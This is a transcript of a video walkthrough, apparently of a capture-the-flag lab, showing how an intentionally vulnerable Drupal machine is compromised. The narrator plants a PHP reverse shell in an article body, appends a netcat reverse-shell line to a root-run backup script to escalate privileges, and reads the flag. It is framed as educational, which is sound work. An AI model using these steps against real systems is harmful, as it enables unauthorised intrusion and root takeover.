00:51:30Version 8.1.2 could not be downloaded to this. So that means we need to download this module.
00:51:37But PHP is enabled. So we need to download this PHP module.
00:51:46So you need to come to this site to download the module.
00:51:54FTP.drupal.org files, projects, PHP-8.x-1.0.gz.
00:52:07Click that. And click. So this is a link. I already did some research on it.
00:52:12So when you just type this link, you'll download automatically the module.
00:52:16So you don't need to suffer for the module. But do some research on it.
00:52:22So this is the module you want to use.
00:52:26So after you've downloaded the module.
00:52:31The next thing you need to do.
00:52:34It is to upload this module to the web application.
00:52:44Or to install the module.
00:52:47So we need to install it. So to do this.
00:52:55We will come to the admin interface.
00:53:00Then go to manage.
00:53:06And then we come to
00:53:11to the extend. So we come to manage here.
00:53:15Then come to extend.
00:53:26So on the extend part.
00:53:29So this one is no longer supported.
00:53:31So one way to prevent this type of attack.
00:53:36Make sure you use updated services.
00:53:41If you have an application you're using or any other services.
00:53:44or any installed application on any of your devices.
00:53:50Make sure you upload them.
00:53:51No, not upload.
00:53:52Make sure you update them.
00:53:55So just come to install new modules.
00:53:58You need to install the module we downloaded.
00:54:04So that module we downloaded from this link here.
00:54:08So make sure you type this link to download the module we want to install here.
00:54:15So I'll come to click install.
00:54:17The new module.
00:54:22We need to browse.
00:54:29And then it is in the download section.
00:54:32It is called PHP.
00:54:36Click on it.
00:54:38And then we need to open.
00:54:49And finally we need to install.
00:54:56Wait for some seconds.
00:55:00It is installing the module.
00:55:06Solution has.
00:55:11It's finished.
00:55:12Go back to admin page.
00:55:18So you can just go back to the site.
00:55:24So that's how you can install the module.
00:55:29And.
00:55:32To web app.
00:55:33So after everything is done there.
00:55:37The next part we need to come to.
00:55:42So that is what we did on the vulnerability research.
00:55:46So we found that.
00:55:49We have Drupal.
00:55:52Drupal is running.
00:55:54And we have a command called rush.
00:55:58That it's executed in this path.
00:56:04For.
00:56:08Managing.
00:56:10This content management system.
00:56:14So we are done with the.
00:56:17Vulnerability.
00:56:19Research.
00:56:20Then we need to.
00:56:22Find a way to do exploitations.
00:56:24We need to exploit the module.
00:56:25The PHP.
00:56:26So the reason why we installed.
00:56:29That module there.
00:56:31Is so that.
00:56:33It can assist us.
00:56:34To execute.
00:56:37Commands.
00:56:42PHP.
00:56:43To execute PHP code.
00:56:45On the.
00:56:46CMC.
00:56:47Or content management system.
00:56:52So we need to.
00:56:54Leverage this.
00:56:55Extended functionality.
00:56:56Of Drupal.
00:56:57To obtain.
00:56:57Web based shell.
00:56:59Access on the target.
00:57:00To do this.
00:57:01So we need to create.
00:57:04A page on Drupal.
00:57:05Containing malicious PHP code.
00:57:09So.
00:57:10For the web shell.
00:57:12So web shell.
00:57:13It's a.
00:57:13It's a PHP web shell.
00:57:15We need to use.
00:57:16And to.
00:57:18Download.
00:57:19I can just.
00:57:19It's a reverse.
00:57:21Shell we need.
00:57:23We're going to come to this site here.
00:57:26Just click this link.
00:57:27It's called.
00:57:28I'm going to this site.
00:57:29Called.
00:57:31Pentastmonkey.net.
00:57:33Tools.
00:57:34Web shells.
00:57:34PHP reverse shell.
00:57:36This is what you'll get.
00:57:37Click on the.
00:57:39This is the shell here.
00:57:41PHP reverse shell.
00:57:42Click on it.
00:57:44And download will start.
00:57:47So that the.
00:57:48Reverse shell we have.
00:57:49So once you click that.
00:57:51Everything is okay.
00:57:54Now.
00:57:59So once you have this.
00:58:01Shell.
00:58:03You.
00:58:04Let me come back to.
00:58:07Open folder.
00:58:13Need to go to.
00:58:15Downloads.
00:58:20So I already extracted it.
00:58:22But you need to extract.
00:58:23That PHP reverse shell.
00:58:25So this is my.
00:58:27PHP reverse shell.
00:58:31So.
00:58:32I'll just.
00:58:33Right click here.
00:58:35Open the terminal.
00:58:36From this section.
00:58:39Let me.
00:58:42List.
00:58:43That is.
00:58:44Let me cut.
00:58:47PHP.
00:58:48If and reverse.
00:58:52If and shell.
00:58:53That PHP.
00:58:54Press enter.
00:58:55It's a.
00:58:56Big program.
00:58:58You can go through it.
00:59:02So we can see here.
00:59:05The things we can edit.
00:59:07For example.
00:59:07We can change.
00:59:09We add our IP address.
00:59:12Here.
00:59:12And the port.
00:59:13We want to listen.
00:59:15From.
00:59:16So that means.
00:59:18If we want to modify this.
00:59:19We can just say.
00:59:22We can use.
00:59:24Nano.
00:59:25To modify this.
00:59:26So we need to modify this.
00:59:31Shell.
00:59:32Shell.
00:59:32So that it has.
00:59:36The contents we need.
00:59:38So only two places.
00:59:39We need to change.
00:59:41The port number.
00:59:44And the.
00:59:47And the.
00:59:49IP address.
00:59:50So and exploitation.
00:59:58So.
01:00:00Reverse.
01:00:03PHP.
01:00:05Shell.
01:00:07So IP.
01:00:08I'm putting my IP address.
01:00:10I love with the port.
01:00:11I want to listen to.
01:00:12It is 98.
01:00:1676.
01:00:18So this will be my IP address.
01:00:23Let me come and edit this IP.
01:00:28So change this.
01:00:30IP address.
01:00:3210.0.2.15.
01:00:36I think that is my IP address.
01:00:39Hope I'm not mistaken.
01:00:43Let me check it again.
01:00:47So some of these things.
01:00:48You double check.
01:00:49Because you don't know.
01:00:50You might have forgotten the IP.
01:00:53So it is 10.0.2.15.
01:00:55That is this.
01:00:57That is it.
01:00:59And I'll still use the.
01:01:01Samsung IP address.
01:01:02The port number.
01:01:03It is a.
01:01:0510.
01:01:07It is 98.76.
01:01:09So my IP address.
01:01:1010.0.2.15.
01:01:14My IP address.
01:01:16Port number.
01:01:17We have it there.
01:01:19So after everything is done.
01:01:22Press control plus O.
01:01:24Press enter.
01:01:26Control plus X.
01:01:29Clear the screen.
01:01:31Right now.
01:01:32When you cut the.
01:01:35When you cut.
01:01:37To see what is inside there.
01:01:39You should be able to see.
01:01:41The changes you made.
01:01:43To the file.
01:01:44The IP address is that.
01:01:46And the port number is that one.
01:01:48Okay.
01:01:49So our shell.
01:01:52Is okay.
01:01:54So what is remaining now.
01:01:57It is to find a way.
01:02:00To upload.
01:02:04To upload this.
01:02:06To the.
01:02:11To upload this to the.
01:02:16To the content management system.
01:02:19Now to do this.
01:02:22We said.
01:02:23After you.
01:02:26It's like the.
01:02:27Way you can write a review.
01:02:29That's one way.
01:02:30You find.
01:02:31Cross-site.
01:02:36Attacks happen.
01:02:37You find that.
01:02:38You have left a review.
01:02:40Section where somebody.
01:02:41Can write any reviews.
01:02:42To the product.
01:02:43So you find that.
01:02:44Somebody can insert.
01:02:45There a malicious program.
01:02:46A PHP program.
01:02:47Or a JavaScript program.
01:02:49That will.
01:02:50That server cannot.
01:02:51Distinguish.
01:02:52So it end up.
01:02:54Being executed.
01:02:55And causing some.
01:02:56Unintended actions.
01:02:58Or interactions to happen.
01:03:00So we need to.
01:03:02Utilize that.
01:03:04So just come to the content.
01:03:06Section.
01:03:07So the reason.
01:03:08Now you added the PHP modules.
01:03:09Is that we.
01:03:10So that we can.
01:03:12Add content.
01:03:15And at this time.
01:03:17We want to add.
01:03:17The PHP.
01:03:19Code.
01:03:20As content.
01:03:22So that.
01:03:26And this content.
01:03:29We look like.
01:03:36Just read an article here.
01:03:48I just want to add.
01:03:50An article.
01:03:53So in this body section.
01:03:55I will add.
01:03:56PHP program.
01:03:58That was the idea behind.
01:04:01Enabling PHP.
01:04:02Because we want to add.
01:04:03A PHP program here.
01:04:04That when it executes.
01:04:07When execution happens.
01:04:12We will get the shell.
01:04:17So we will come back to.
01:04:24Our file here.
01:04:26It was here.
01:04:27So just cut this.
01:04:29Just want to upload this entire.
01:04:33Program.
01:04:35This shell.
01:04:40Just upload this entire program.
01:04:42Copy selection.
01:04:44And come back to our.
01:04:46Section here.
01:04:47Let me just paste it here.
01:04:53Paste it there.
01:04:55We need to check.
01:04:57If PHP is.
01:04:59There's no PHP.
01:05:02Enabled.
01:05:04So we installed the PHP.
01:05:07So let's find a way.
01:05:08To enable the PHP here.
01:05:11Again.
01:05:12So it's not there.
01:05:14Let's enable it.
01:05:16We have installed it.
01:05:18So.
01:05:20Yes.
01:05:25Let's wait for it.
01:05:28So.
01:05:29Everything is okay.
01:05:30PHP has been enabled.
01:05:33Which was enabled successfully.
01:05:35Let's come back to our.
01:05:38Site.
01:05:39Let's refresh.
01:05:41Let's refresh this.
01:05:44So that the.
01:05:47And the PHP part can appear.
01:05:49So you add.
01:05:50We need to add a new.
01:05:53And this time.
01:05:54On the body section.
01:05:54We need to add.
01:05:55Pure PHP code.
01:05:58So.
01:06:02Come back.
01:06:03Just say.
01:06:07Daily events.
01:06:09That's my title.
01:06:11And the content section.
01:06:12I want to upload there.
01:06:14My PHP code.
01:06:16Then inside there.
01:06:18We will be able to see.
01:06:19PHP.
01:06:20Enabled.
01:06:23And finally.
01:06:24We want to click.
01:06:26Save.
01:06:29So after you've installed.
01:06:31The PHP module.
01:06:33You need to.
01:06:34Come back to your terminal.
01:06:36And re-enable.
01:06:39The.
01:06:41PHP.
01:06:42You need to come back.
01:06:43And re-enable.
01:06:43The PHP.
01:06:44Using Drush.
01:06:46Enable.
01:06:47PHP.
01:06:49So.
01:06:50Article.
01:06:50Daily events.
01:06:51Has been created.
01:06:52Everything is working.
01:06:53Accordingly.
01:06:58So.
01:07:00So these are the contents.
01:07:02We have daily events.
01:07:04The one we've created.
01:07:05Right now.
01:07:06So you can see the author.
01:07:08It is the.
01:07:09Admin.
01:07:10So right now.
01:07:10We have access to this site.
01:07:13So we need to come back.
01:07:15To one of the.
01:07:17Terminal.
01:07:19To enable the listener.
01:07:22So that we can listen.
01:07:25And see.
01:07:33So.
01:07:35You should be able to see.
01:07:37You have.
01:07:38A reverse.
01:07:40Shell.
01:07:42Connection.
01:07:42Like this.
01:07:44So you can type.
01:07:45LS.
01:07:46And see some.
01:07:48So many.
01:07:49We have so many things here.
01:07:51The level of shell.
01:07:52We have been granted.
01:07:54It is the.
01:07:56User level.
01:07:57Shell.
01:07:58So you remember.
01:07:59There was a script.
01:08:00Called backup.
01:08:01Sh.
01:08:02So this script.
01:08:04You find that.
01:08:07It is.
01:08:08It is the.
01:08:10You.
01:08:10The root.
01:08:10User.
01:08:11Who created the script.
01:08:12Is a script.
01:08:13I'm talking about.
01:08:14Then this script.
01:08:15Called.
01:08:16In this part.
01:08:17And the option.
01:08:21I'll just use.
01:08:23Cut command.
01:08:27This script is in the.
01:08:31Option script.
01:08:34It is in the option.
01:08:36Script backups.sh.
01:08:39So that means.
01:08:41We come here.
01:08:42We just want to cut.
01:08:43The.
01:08:44The path.
01:08:45This script.
01:08:46We see.
01:08:48So.
01:08:51Scripts.
01:08:52And then.
01:08:52Genial backups.
01:08:54Sure.
01:08:55So this is the script.
01:08:59So this script.
01:09:01Is being executed.
01:09:03Using root level.
01:09:04Privilegy.
01:09:04so that means every line of statement in this script can run in the in the box here or in
01:09:15this
01:09:15virtual machine so that means if we insert any because we have the right permission to this
01:09:23file because we are admins so when we add something this file it can be executed and if we add
01:09:35a reverse
01:09:36shell to this script possibility of getting the root level shell will be very high so this shell
01:09:49we have acquired here will enable us to execute the command so first of all we need to cd into
01:10:02options because that's where the command in the when so right now we have logged in as as ww data
01:10:12so
01:10:12we are group categories under the group category we can read write and execute the file so
01:10:20because when we check here permissions ls-la so you can see
01:10:27it is only www and root users who can use them who have read and write and execute permissions on
01:10:39the
01:10:39file and you remember we acquired we acquired reverse shell using this terminal here so right now we are
01:11:00www so let me just put it there this one this other side close some things here so right now
01:11:12we are
01:11:12www the www if and data so we are the group around the group option section so let me cd
01:11:22to that folder
01:11:29yes this is my file it's called backups.sh inside this folder i have this file so what i need
01:11:41to do i need
01:11:41to add the reverse shell so that when i connect back i will get root level privileges so let me
01:11:52see
01:11:52if my listener is still active so i'll just come here and say echo netcat
01:12:06i'll put the ip address 10.0.2.15 put the port number
01:12:14put e there for bin bash to forward arrows backups dot it is backups dot sh so you want to
01:12:40write this this is a
01:12:41virtual shell i'm creating and i'm appending it to the file so you can want to cut when you want
01:12:52to see the tail part of the
01:12:56the file to see if our shell is why so this is our shell you get it there so when
01:13:06this script will run
01:13:09because it is a scheduled to run because it is scheduled to run so the moment it runs again the
01:13:17next time
01:13:19we should be able to we should be able to get the root shell
01:13:27let me just minimize this
01:13:31so we are doing post exploitation so so here we added a script to backup
01:13:43to gain
01:13:48root shell
01:13:55using
01:13:55using netcat so the command we added it is this one so just pick it
01:14:04copy the selection we need to add it here this is our section so this is the command we added
01:14:14we added to the backup backups dot sh
01:14:29so this backups that sh is found in uh in this
01:14:38path let's bring that path we added it here so added a script to backup dot hash to gain root
01:14:46shell
01:14:47using a netcat so this is our command here so after that we have added it there we need to
01:14:56wait for it
01:14:59wait for a reverse shell to connect
01:15:05you're waiting oops the connection has come but finally we have a shell access
01:15:17so this is our connection you can type id there now we can see we are root users you can
01:15:26see
01:15:27user id is root groups is root so we have gained the root privileges to the machine
01:15:39now what is remaining after we've gained the root access we need to cd to root folder cd
01:15:53root
01:15:57ls so cd root ls you'll see the flag file is there so right now i can just say cut
01:16:08the flag dot txt press enter well done congratulations i hope you've enjoyed this
01:16:217 just wanted to send a big thanks out there to all those who have provided feedback so
01:16:27so that is how you can gain root access to some of these intentional
01:16:35vulnerable machines that are designed to be tested for educational purpose so i repeat again
01:16:44don't do this on a live machine machine that you've not been given permission to
01:16:50this is for educational purpose and it does not encourage somebody to start bypassing systems
01:16:59illegally that's how you can access and a file that is there it is the the flag the txt when
01:17:10you cut
01:17:11should be able to see the text well done so that's my first machine there are several i will be
01:17:18posting
01:17:18them i have almost more than 10 machines i will be testing where intentional vulnerable machines
01:17:28for educational purposes it's not an encouragement for hacking live systems systems you've not been given
01:17:36permission to so if this video has been educational and uh important and so please like subscribe
01:17:51and you can also send any comment any message if you have any query pertaining the the
01:18:01the tutorial
01:18:06so that is it see you next time

Recommended